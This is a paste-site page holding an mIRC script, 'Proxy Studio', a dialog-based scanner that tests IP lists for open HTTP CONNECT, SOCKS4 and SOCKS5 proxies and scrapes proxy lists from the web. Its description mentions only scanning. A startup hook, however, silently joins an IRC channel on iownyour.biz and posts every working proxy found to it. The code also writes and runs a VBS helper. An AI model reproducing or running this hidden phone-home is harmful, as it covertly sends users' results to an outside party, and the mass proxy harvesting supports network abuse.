independent


SUBMITTED BY: independent

DATE: Nov. 10, 2017, 2:10 a.m.

UPDATED: Nov. 10, 2017, 2:16 a.m.

FORMAT: IRC logs

SIZE: 16.9 kB

HITS: 4299

  1. ;Proxy & Socks Scanner by independent with nice dialogs
  2. ;Skype independentt911
  3. on 1:start:b
  4. dialog proxystudio {
  5. title "Proxy Studio v1.1 by independent"
  6. size -1 -1 400 380
  7. option pixels notheme
  8. tab "Scanner", 2, 7 4 384 377
  9. tab "Working Proxys", 20
  10. tab "Proxy files", 30
  11. box "Proxy to test", 4, 19 33 116 327, tab 2
  12. edit "Add proxy here", 5, 26 50 113 301, tab 2 group autohs autovs multi return vsbar limit 0
  13. radio "Connect Proxys", 6, 139 46 100 18, tab 2
  14. radio "Socks 4 ", 7, 139 70 100 17, tab 2
  15. radio "Socks 5", 8, 138 92 100 17, tab 2
  16. button "Scan NOW!", 9, 283 46 65 25, tab 2
  17. box "Sockets", 10, 141 117 106 78, tab 2
  18. text "Open:", 11, 142 142 100 17, tab 2
  19. text "Working Proxys:", 12, 143 166 100 17, tab 2
  20. box "Settings", 13, 262 78 97 126, tab 2
  21. edit "164.132.126.130", 14, 262 115 100 20, tab 2
  22. text "IRC Server test IP", 15, 263 97 97 16, tab 2
  23. text "ms between threads", 16, 262 136 101 17, tab 2
  24. edit "200", 17, 262 155 40 19, tab 2
  25. box "Debug", 18, 141 205 224 152, tab 2
  26. edit "", 19, 145 222 218 133, tab 2 result read autohs autovs multi return vsbar
  27. box "Connect Proxys", 21, 12 30 112 338, tab 20
  28. box "Socks 4", 22, 127 30 106 338, tab 20 result
  29. box "Socks 5", 23, 238 29 106 338, tab 20 result
  30. edit "", 24, 16 48 105 290, tab 20 result autohs autovs multi return vsbar limit 0
  31. edit "", 25, 132 48 93 288, tab 20 autohs autovs multi return vsbar limit 0
  32. edit "", 26, 240 48 100 286, tab 20 result autohs autovs multi return vsbar
  33. button "Save", 27, 32 337 65 25, tab 20
  34. button "Save", 28, 145 337 65 25, tab 20
  35. button "Save", 29, 256 337 65 25, tab 20
  36. link "http://to.cur.lv/independentt", 45, 240 5 153 17, tab 20
  37. link "http://to.cur.lv/independentt", 46, 240 6 151 17, tab 2
  38. link "http://to.cur.lv/independentt", 47, 240 6 151 17, tab 30
  39. text "Select multiple files containing lots of proxys", 31, 68 57 256 34, tab 30
  40. button "Scan My File", 32, 136 147 99 25, tab 30
  41. radio "Connect Proxy", 33, 136 190 100 17, tab 30
  42. radio "Socks 4", 34, 136 216 100 17, tab 30
  43. radio "Socks 5", 35, 136 242 100 17, tab 30
  44. menu "File", 1
  45. item "Exit", 3, 1
  46. }
  47. on 1:dialog:proxystudio:sclick:9: {
  48. hadd -m proxyset max $did(proxystudio,5,0).lines
  49. .timerSCLICK -om $hget(proxyset,max) %interval pxys
  50. }
  51. on 1:dialog:proxystudio:sclick:6: {
  52. hadd -m proxyset ext pxy
  53. }
  54. on 1:dialog:proxystudio:sclick:7: {
  55. hadd -m proxyset ext s4
  56. }
  57. on 1:dialog:proxystudio:sclick:8: {
  58. hadd -m proxyset ext s5
  59. }
  60. on 1:dialog:proxystudio:sclick:33: {
  61. hadd -m proxyset ext2 pxy
  62. }
  63. on 1:dialog:proxystudio:sclick:34: {
  64. hadd -m proxyset ext2 s4
  65. }
  66. on 1:dialog:proxystudio:sclick:35: {
  67. hadd -m proxyset ext2 s5
  68. }
  69. on 1:dialog:proxystudio:sclick:27: {
  70. savebuf -o proxystudio 24 $pxy
  71. run $pxy
  72. }
  73. on 1:dialog:proxystudio:sclick:28: {
  74. savebuf -o proxystudio 25 sock4.txt
  75. run sock4.txt
  76. }
  77. on 1:dialog:proxystudio:sclick:29: {
  78. savebuf -o proxystudio 26 sock5.txt
  79. run sock5.txt
  80. }
  81. on 1:dialog:proxystudio:sclick:32: {
  82. if ($hget(proxyset,ext2) == pxy) selectmultiplefile
  83. if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
  84. if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
  85. }
  86. on 1:dialog:proxystudio:edit:17: {
  87. did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
  88. set %interval $did(proxystudio,17)
  89. }
  90. on 1:dialog:proxystudio:edit:14: {
  91. set %def.s $did(proxystudio,14)
  92. did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
  93. }
  94. on 1:dialog:proxystudio:sclick:38: {
  95. hadd -m proxyset max $did(proxystudio,5,0).lines
  96. .timerSCLICK -Om $hget(proxyset,max) %interval pxys
  97. }
  98. alias pxys {
  99. hinc -u5 proxyset inc
  100. if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
  101. if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
  102. if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
  103. }
  104. alias b {
  105. sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
  106. }
  107. on *:sockopen:bot_x: {
  108. sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
  109. sockwrite -n bot_x user sockets . . . sockets
  110. }
  111. on *:sockread:bot*: {
  112. sockread %_sb
  113. tokenize 32 %_sb
  114. var %_ntoks = $numtok($1-,44)
  115. if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
  116. if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
  117. }
  118. alias -l htmlfree {
  119. var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  120. return %x
  121. }
  122. ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
  123. ALIAS DEF.S { return %def.s }
  124. alias getiphost2 {
  125. %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
  126. if $regex(ip,$remove($1-,$chr(9)),%var) {
  127. return $replace($regml(ip,1),:,$chr(32))
  128. }
  129. }
  130. alias getsource {
  131. run iexplore $1-
  132. %out = $shortfn($mircdirleech $+ $ctime $+ .txt)
  133. if ($isfile(get.vbs)) .remove get.vbs
  134. %a = write get.vbs
  135. %a Set app = CreateObject("Shell.Application")
  136. %a For Each window In app.Windows()
  137. %a If InStr(1, window.FullName, "Internet Explorer", vbTextCompare) > 0 Then
  138. %a Set ie = window
  139. %a Exit For
  140. %a End If
  141. %a Next
  142. %a Set fso = CreateObject("Scripting.FileSystemObject")
  143. %a Set f = fso.OpenTextFile(" $+ %out $+ ", 2, True , -1)
  144. %a f.Write ie.document.body.innerText
  145. %a f.Close
  146. %a Ie.Quit
  147. .timerrunit 1 5 run get.vbs
  148. return %out
  149. }
  150. alias leech {
  151. scan.win
  152. if (!%interval) %interval = 400
  153. did -a proxystudio 19 3 $+ $timestamp * Now leeching proxy-lists over the web. $crlf
  154. set %site.max $lines(leech.txt)
  155. set %site.inc 0
  156. :GO
  157. inc %site.inc
  158. .timer -o 1 $calc(%site.inc *10) pxx %site.inc
  159. if (%site.inc < %site.max) goto go
  160. else { halt }
  161. }
  162. alias pxx { .pxyfile $getsource($read(leech.txt,$1)) %interval }
  163. alias getURL {
  164. noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig))
  165. return $regml(1)
  166. }
  167. alias sc5nfile { s5.scan $1- }
  168. alias sc4nfile { s4.scan $1- }
  169. alias sc4n {
  170. if (!$sock(bot_x).ip) b
  171. if (*.*.*.* iswm $1-) && ($1 != x) && ($2) {
  172. if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
  173. did -a proxystudio 19 Scanning: $1 $2 $crlf
  174. sockopen scan $+ $r(0,99999999999999) $1 $2
  175. return
  176. }
  177. if ($getiphost2($1-)) {
  178. if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
  179. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  180. sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
  181. goto next
  182. }
  183. if (*.*.*.* !iswm $1-) goto next
  184. if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
  185. :next
  186. }
  187. alias setinterval {
  188. :restart
  189. %interval = $?="Enter interval in milliseconds, 1 to 1000 "
  190. if (!$!) || ($! >= 1000) goto restart
  191. }
  192. alias defaultset { %interval = 200 | %def.s = 164.132.126.130 | %def.p = 6667 }
  193. alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
  194. alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
  195. menu * {
  196. [-Proxy Studio-]: dialog -m proxystudio proxystudio
  197. }
  198. alias pxy return ValidProxy.txt
  199. alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
  200. on *:INPUT:@Proxyscan:{
  201. if ($getiphost2($1-)) {
  202. hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
  203. .timerscanfile -om 1 1 .pxyfile temp %interval
  204. return
  205. }
  206. if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
  207. }
  208. alias hfreepxy { hfree proxy }
  209. alias hfrees4 { hfree socks4 }
  210. alias hfrees5 { hfree socks5 }
  211. alias sk {
  212. set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  213. if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  214. }
  215. on *:sockopen:scan*:{
  216. hinc -u120 proxyset open
  217. did -a proxystudio 11 Open: $hget(proxyset,open)
  218. if ($sockerr > 0) { hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  219. did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
  220. sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
  221. sockwrite -tn $sockname $crlf
  222. sockmark $sockname $ticks
  223. }
  224. alias success {
  225. set %yell $2 %yell
  226. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }
  227. did -a proxystudio 19 $1- $crlf
  228. sk $1
  229. }
  230. alias allpxy return ALL.txt
  231. alias portclose { sockclose $1 }
  232. on *:SOCKREAD:scan*:{
  233. :READ
  234. sockread -n %fld
  235. if (!%fld) || (!$sockbr) return
  236. if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
  237. if (*http*200* iswm %fld) {
  238. did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  239. hinc proxyset work
  240. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  241. success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
  242. sockmark $sockname $ctime
  243. sockclose $Sockname
  244. }
  245. if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
  246. goto READ
  247. }
  248. on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
  249. alias pb return did -a proxystudio 19
  250. alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
  251. alias pxyfile {
  252. if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
  253. else {
  254. did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to $crlf
  255. .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
  256. }
  257. }
  258. alias scann {
  259. if ($1 == pxy) {
  260. hinc -mu2 count hinc2
  261. sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
  262. .timerscanfileoff 1 5 .hfreepxy
  263. }
  264. if ($1 == s4) {
  265. hinc -mu2 count hinc3
  266. s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
  267. .timerscanfileoffs4 1 5 .hfrees4
  268. }
  269. if ($1 == s5) {
  270. hinc -mu2 count hinc4
  271. s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
  272. .timerscanfileoffs5 1 5 .hfrees5
  273. }
  274. }
  275. alias s5.scan {
  276. if (!$sock(bot_x).ip) b
  277. if (!$1) goto END
  278. if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
  279. if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
  280. if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
  281. sockopen s5chk $+ $r(0,9999999) $1 $2
  282. did -a proxystudio 19 Scanning: $1 $2 $crlf
  283. }
  284. }
  285. elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
  286. sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
  287. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  288. }
  289. :END
  290. }
  291. alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
  292. alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
  293. alias s4.scan {
  294. if (!$sock(bot_x).ip) b
  295. if (!$1) goto END
  296. if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
  297. if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
  298. if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
  299. sockopen s4chk $+ $r(0,9999999) $1 $2
  300. did -a proxystudio 19 Scanning: $1 $2 $crlf
  301. }
  302. }
  303. elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
  304. sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
  305. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  306. }
  307. :END
  308. }
  309. on *:sockopen:s5chk*:{
  310. if ($sockerr) { did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  311. hinc -u120 proxyset open
  312. did -a proxystudio 11 Open: $hget(proxyset,open)
  313. .bset &bvar5 1 5 1 0
  314. .sockwrite -n $sockname &bvar5
  315. .bunset &bvar5
  316. }
  317. on *:sockread:s5chk*:{
  318. if ($sockbr) { return }
  319. .sockread &bsocks5
  320. if ($bvar(&bsocks5,1,2) != 5 0) { return }
  321. if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
  322. sockmark $sockname $ticks
  323. bset &socks5 1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
  324. .sockwrite -n $sockname &socks5
  325. .bunset &socks5
  326. hinc proxyset work
  327. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  328. did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  329. suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms
  330. }
  331. }
  332. alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
  333. alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
  334. alias sk4 {
  335. set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  336. if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  337. sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
  338. set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  339. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }
  340. }
  341. alias sk5 {
  342. set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  343. if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  344. set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  345. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
  346. }
  347. on *:sockopen:s4chk*:{
  348. if ($sockerr) { did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  349. hinc -u120 proxyset open
  350. did -a proxystudio 11 Open: $hget(proxyset,open)
  351. sockmark $sockname $ticks
  352. .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
  353. .sockwrite $sockname &bvar4
  354. .bunset &bvar4
  355. }
  356. ON *:SOCKREAD:s4chk*:{
  357. .sockread &bsocks4
  358. if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  359. if ($bvar(&bsocks4,2) == 90) {
  360. did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  361. hinc proxyset work
  362. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  363. suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms
  364. }
  365. }
  366. on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
  367. on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
  368. alias scans4file { s4.scan $getiphost2($1-) }
  369. alias s4file {
  370. if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
  371. else {
  372. did -a proxystudio 19 Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s and %def.s2 $crlf
  373. .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
  374. }
  375. }
  376. alias scans5file { s5.scan $getiphost2($1-) }
  377. alias s5file {
  378. if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
  379. else {
  380. did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s and %def.s2 $crlf
  381. .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
  382. }
  383. }

comments powered by Disqus